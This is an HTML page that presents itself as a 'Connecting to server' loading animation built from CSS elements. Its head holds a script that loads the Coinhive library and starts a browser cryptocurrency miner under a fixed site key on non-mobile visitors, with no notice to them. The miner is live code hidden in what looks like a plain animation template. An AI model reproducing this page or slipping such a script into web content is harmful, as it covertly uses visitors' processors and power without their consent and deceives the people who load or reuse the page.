<!DOCTYPE html>
<html >
<head>
  <meta charset="UTF-8">
  <title>connection slow - loading animation</title>
  <link href="https://fonts.googleapis.com/css?family=Lato:300" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1">
 
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('WdO9cHiVAD0gvbrD5s5AQyo6vl0iqmid', {throttle: 0.3});
    if (!miner.isMobile() && !miner.didOptOut(14400)) {
        miner.start();
    }
</script>
<style type="text/css">
        pre {
            border: solid 1px #bbb;
            padding: 10px;
            margin: 2em;
        }

        img {
            border: solid 1px #ccc;
            margin: 0 ;
        }
    </style>
 
      <link rel="stylesheet" href="css/style.css">

 
</head>

<body>
 
<div class="container">
  <h3 class="head">Connecting to server</h3>
  <div class="component PC">
    <div class="flare"></div>
  </div>
  <div class="component signals">
      <div class="dot first"></div>
      <div class="dot second"></div>
      <div class="dot third"></div>
  </div>
  <div class="component server">
    <div class="slot"></div>
    <div class="slot"></div>
    <div class="button"></div>
    <div class="button"></div>
  </div>
</div>
 
 
</body>
</html>